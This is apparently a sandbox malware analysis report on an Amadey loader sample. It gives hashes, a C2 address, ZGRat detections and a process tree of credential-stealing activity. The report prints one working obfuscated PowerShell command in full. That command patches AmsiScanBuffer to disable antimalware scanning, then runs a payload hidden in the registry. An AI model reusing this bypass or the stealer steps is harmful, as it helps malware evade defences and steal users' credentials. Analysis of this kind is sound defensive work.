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29/03/2024, 14:25
240329-rrdgpsad9yAnalysis
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max time kernel
149s -
max time network
148s -
platform
windows11-21h2_x64 -
resource
win11-20240214-en -
resource tags
arch:x64arch:x86image:win11-20240214-enlocale:en-usos:windows11-21h2-x64system -
submitted
29/03/2024, 17:47
Static task
static1
Behavioral task
behavioral1
Sample
7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe
Resource
win10-20240221-en
Behavioral task
behavioral3
Sample
7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe
Resource
win10v2004-20240226-en
General
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Target
7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe
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Size
1.9MB
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MD5
864674e8be395eb28bb181184add5c01
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SHA1
79bb9c0ae54bf8572328af06b6576327bd0a386c
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SHA256
7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da
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SHA512
7f85146e5cca26f5a388aeea88cf9d86819aed6e240c3b94569967a2074654327e531be66f1335f9fa0790f13844c65315a3020d0e9c6bdce40c3605164abc25
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SSDEEP
49152:EJ8NNvupgJi+RYYhQx/QAfi4oxa03C+v7sOh9yPQtE:Xvu+RIx/QAfiTY03C+z/yP
Malware Config
Extracted
amadey
4.17
http://185.215.113.32
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install_dir
00c07260dc
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install_file
explorgu.exe
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strings_key
461809bd97c251ba0c0c8450c7055f1d
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url_paths
/yandex/index.php
Extracted
amadey
4.17
http://185.215.113.32
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strings_key
461809bd97c251ba0c0c8450c7055f1d
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url_paths
/yandex/index.php
Signatures
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Detect ZGRat V1 33 IoCs
resource yara_rule behavioral4/memory/416-49-0x0000000004EB0000-0x00000000050F2000-memory.dmp family_zgrat_v1 behavioral4/memory/416-50-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-51-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-53-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-55-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-57-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-59-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-61-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-63-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-65-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-67-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-69-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-71-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-73-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-75-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-77-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-79-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-81-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-83-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-85-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-87-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-89-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-91-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-93-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-95-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-97-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-99-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-101-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-103-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-105-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-107-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-118-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 behavioral4/memory/416-122-0x0000000004EB0000-0x00000000050EB000-memory.dmp family_zgrat_v1 -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 1952 created 648 1952 powershell.EXE 5 -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ explorgu.exe -
Blocklisted process makes network request 2 IoCs
flow pid Process 11 928 rundll32.exe 12 2020 rundll32.exe -
Downloads MZ/PE file
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Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion explorgu.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion explorgu.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe -
Executes dropped EXE 4 IoCs
pid Process 1272 explorgu.exe 416 Tcgprylsch.exe 2256 koooooo.exe 1624 $77349eaa -
Identifies Wine through registry keys 2 TTPs 2 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2567984660-2719943099-2683635618-1000\Software\Wine 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe Key opened \REGISTRY\USER\S-1-5-21-2567984660-2719943099-2683635618-1000\Software\Wine explorgu.exe -
Loads dropped DLL 3 IoCs
pid Process 1544 rundll32.exe 928 rundll32.exe 2020 rundll32.exe -
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
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Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 644 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe 1272 explorgu.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 2256 set thread context of 3448 2256 koooooo.exe 82 PID 416 set thread context of 1624 416 Tcgprylsch.exe 94 PID 1952 set thread context of 1988 1952 powershell.EXE 97 -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\Tasks\explorgu.job 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 2904 2256 WerFault.exe 79 -
Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 27 IoCs
pid Process 644 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe 644 7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe 1272 explorgu.exe 1272 explorgu.exe 928 rundll32.exe 928 rundll32.exe 928 rundll32.exe 928 rundll32.exe 928 rundll32.exe 928 rundll32.exe 3448 RegAsm.exe 3448 RegAsm.exe 3448 RegAsm.exe 3448 RegAsm.exe 928 rundll32.exe 928 rundll32.exe 928 rundll32.exe 928 rundll32.exe 732 powershell.exe 732 powershell.exe 1952 powershell.EXE 1952 powershell.EXE 1952 powershell.EXE 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe 1988 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 416 Tcgprylsch.exe Token: SeDebugPrivilege 732 powershell.exe Token: SeDebugPrivilege 1952 powershell.EXE Token: SeDebugPrivilege 1952 powershell.EXE Token: SeDebugPrivilege 1988 dllhost.exe -
Suspicious use of WriteProcessMemory 54 IoCs
description pid Process procid_target PID 1272 wrote to memory of 416 1272 explorgu.exe 78 PID 1272 wrote to memory of 416 1272 explorgu.exe 78 PID 1272 wrote to memory of 416 1272 explorgu.exe 78 PID 1272 wrote to memory of 2256 1272 explorgu.exe 79 PID 1272 wrote to memory of 2256 1272 explorgu.exe 79 PID 1272 wrote to memory of 2256 1272 explorgu.exe 79 PID 2256 wrote to memory of 1572 2256 koooooo.exe 81 PID 2256 wrote to memory of 1572 2256 koooooo.exe 81 PID 2256 wrote to memory of 1572 2256 koooooo.exe 81 PID 2256 wrote to memory of 3448 2256 koooooo.exe 82 PID 2256 wrote to memory of 3448 2256 koooooo.exe 82 PID 2256 wrote to memory of 3448 2256 koooooo.exe 82 PID 2256 wrote to memory of 3448 2256 koooooo.exe 82 PID 2256 wrote to memory of 3448 2256 koooooo.exe 82 PID 2256 wrote to memory of 3448 2256 koooooo.exe 82 PID 2256 wrote to memory of 3448 2256 koooooo.exe 82 PID 2256 wrote to memory of 3448 2256 koooooo.exe 82 PID 2256 wrote to memory of 3448 2256 koooooo.exe 82 PID 1272 wrote to memory of 1544 1272 explorgu.exe 86 PID 1272 wrote to memory of 1544 1272 explorgu.exe 86 PID 1272 wrote to memory of 1544 1272 explorgu.exe 86 PID 1544 wrote to memory of 928 1544 rundll32.exe 87 PID 1544 wrote to memory of 928 1544 rundll32.exe 87 PID 928 wrote to memory of 4764 928 rundll32.exe 88 PID 928 wrote to memory of 4764 928 rundll32.exe 88 PID 928 wrote to memory of 732 928 rundll32.exe 91 PID 928 wrote to memory of 732 928 rundll32.exe 91 PID 1272 wrote to memory of 2020 1272 explorgu.exe 93 PID 1272 wrote to memory of 2020 1272 explorgu.exe 93 PID 1272 wrote to memory of 2020 1272 explorgu.exe 93 PID 416 wrote to memory of 1624 416 Tcgprylsch.exe 94 PID 416 wrote to memory of 1624 416 Tcgprylsch.exe 94 PID 416 wrote to memory of 1624 416 Tcgprylsch.exe 94 PID 416 wrote to memory of 1624 416 Tcgprylsch.exe 94 PID 416 wrote to memory of 1624 416 Tcgprylsch.exe 94 PID 416 wrote to memory of 1624 416 Tcgprylsch.exe 94 PID 416 wrote to memory of 1624 416 Tcgprylsch.exe 94 PID 416 wrote to memory of 1624 416 Tcgprylsch.exe 94 PID 416 wrote to memory of 1624 416 Tcgprylsch.exe 94 PID 1952 wrote to memory of 1988 1952 powershell.EXE 97 PID 1952 wrote to memory of 1988 1952 powershell.EXE 97 PID 1952 wrote to memory of 1988 1952 powershell.EXE 97 PID 1952 wrote to memory of 1988 1952 powershell.EXE 97 PID 1952 wrote to memory of 1988 1952 powershell.EXE 97 PID 1952 wrote to memory of 1988 1952 powershell.EXE 97 PID 1952 wrote to memory of 1988 1952 powershell.EXE 97 PID 1952 wrote to memory of 1988 1952 powershell.EXE 97 PID 1988 wrote to memory of 648 1988 dllhost.exe 5 PID 1988 wrote to memory of 704 1988 dllhost.exe 7 PID 704 wrote to memory of 2636 704 lsass.exe 45 PID 704 wrote to memory of 2636 704 lsass.exe 45 PID 1988 wrote to memory of 1000 1988 dllhost.exe 12 PID 1988 wrote to memory of 480 1988 dllhost.exe 13 PID 1988 wrote to memory of 776 1988 dllhost.exe 14
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:648
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:480
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{1b10028d-5c48-4aa3-a4c7-7fe3371cdf44}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1988
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:1000
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:776
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2636
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C:\Users\Admin\AppData\Local\Temp\7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe"C:\Users\Admin\AppData\Local\Temp\7ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:644
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C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeC:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1272 -
C:\Users\Admin\AppData\Local\Temp\1001063001\Tcgprylsch.exe"C:\Users\Admin\AppData\Local\Temp\1001063001\Tcgprylsch.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:416 -
C:\Users\Admin\AppData\Local\Temp\$77349eaa"C:\Users\Admin\AppData\Local\Temp\$77349eaa"3⤵
- Executes dropped EXE
PID:1624
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C:\Users\Admin\AppData\Local\Temp\1001065001\koooooo.exe"C:\Users\Admin\AppData\Local\Temp\1001065001\koooooo.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵PID:1572
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3448
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2256 -s 8883⤵
- Program crash
PID:2904
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1544 -
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:928 -
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵PID:4764
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\567984660271_Desktop.zip' -CompressionLevel Optimal4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:732
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main2⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:2020
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 2256 -ip 22561⤵PID:3120
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:nurbKLIpuVAm{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hvLwUxpeypvGws,[Parameter(Position=1)][Type]$AScrmXApYO)$vzZIBMyVkwj=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+''+'e'+'le'+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+'e'+'m'+''+[Char](111)+''+'r'+''+'y'+'M'+[Char](111)+''+'d'+'u'+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+'e'+''+[Char](108)+'eg'+[Char](97)+''+'t'+'e'+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'','Cl'+[Char](97)+''+[Char](115)+''+[Char](115)+','+[Char](80)+''+'u'+'b'+[Char](108)+'i'+[Char](99)+''+','+''+'S'+''+[Char](101)+'al'+[Char](101)+''+[Char](100)+''+[Char](44)+'A'+'n'+''+[Char](115)+''+'i'+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+'oCl'+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$vzZIBMyVkwj.DefineConstructor(''+'R'+''+[Char](84)+'S'+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+''+'a'+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+'e'+','+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+'yS'+[Char](105)+''+[Char](103)+''+','+''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$hvLwUxpeypvGws).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+'t'+[Char](105)+'me'+[Char](44)+'M'+[Char](97)+''+[Char](110)+'a'+'g'+''+[Char](101)+'d');$vzZIBMyVkwj.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](72)+''+'i'+''+'d'+''+'e'+''+'B'+''+[Char](121)+''+'S'+'ig'+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+[Char](83)+'l'+[Char](111)+''+'t'+''+','+'V'+'i'+''+'r'+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$AScrmXApYO,$hvLwUxpeypvGws).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+'e'+','+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $vzZIBMyVkwj.CreateType();}$PODHPxZvjXFmo=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+'l'+'')}).GetType(''+'M'+''+[Char](105)+'c'+[Char](114)+''+'o'+'so'+[Char](102)+''+[Char](116)+'.W'+'i'+''+[Char](110)+'3'+[Char](50)+'.U'+[Char](110)+''+[Char](115)+''+[Char](97)+''+'f'+'e'+'N'+'a'+[Char](116)+''+[Char](105)+''+'v'+'e'+[Char](77)+'e'+[Char](116)+''+[Char](104)+''+'o'+''+'d'+''+[Char](115)+'');$nSSyABpxhVOqow=$PODHPxZvjXFmo.GetMethod(''+[Char](71)+'e'+'t'+''+[Char](80)+''+'r'+'o'+'c'+''+[Char](65)+'ddre'+[Char](115)+'s',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vcQawFRxBXfpbweOvvr=nurbKLIpuVAm @([String])([IntPtr]);$EIzcOlxjLqPAVoDFUmXrnQ=nurbKLIpuVAm @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$bvPcQgBAoMp=$PODHPxZvjXFmo.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+'Mo'+[Char](100)+'ul'+[Char](101)+'H'+[Char](97)+''+[Char](110)+''+'d'+''+'l'+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+'el3'+[Char](50)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$xAWzwRVVRxqYLP=$nSSyABpxhVOqow.Invoke($Null,@([Object]$bvPcQgBAoMp,[Object](''+[Char](76)+''+'o'+''+'a'+'dL'+'i'+''+'b'+'r'+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$PKZEOWYPrQooyXBJt=$nSSyABpxhVOqow.Invoke($Null,@([Object]$bvPcQgBAoMp,[Object](''+[Char](86)+''+'i'+'r'+[Char](116)+''+'u'+'alP'+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$NhaSydy=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xAWzwRVVRxqYLP,$vcQawFRxBXfpbweOvvr).Invoke(''+'a'+'msi'+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$aOSBcvciQwvkHnJxG=$nSSyABpxhVOqow.Invoke($Null,@([Object]$NhaSydy,[Object]('Am'+[Char](115)+'iS'+[Char](99)+''+'a'+''+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$CfeynSGvcV=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PKZEOWYPrQooyXBJt,$EIzcOlxjLqPAVoDFUmXrnQ).Invoke($aOSBcvciQwvkHnJxG,[uint32]8,4,[ref]$CfeynSGvcV);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$aOSBcvciQwvkHnJxG,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PKZEOWYPrQooyXBJt,$EIzcOlxjLqPAVoDFUmXrnQ).Invoke($aOSBcvciQwvkHnJxG,[uint32]8,0x20,[ref]$CfeynSGvcV);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+''+[Char](87)+''+'A'+''+'R'+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+'7'+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1952
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1.9MB
MD5864674e8be395eb28bb181184add5c01
SHA179bb9c0ae54bf8572328af06b6576327bd0a386c
SHA2567ef012907eb337ad94d0635a9d1a1dd64ccb32b5c193a5bb732eee3dd22013da
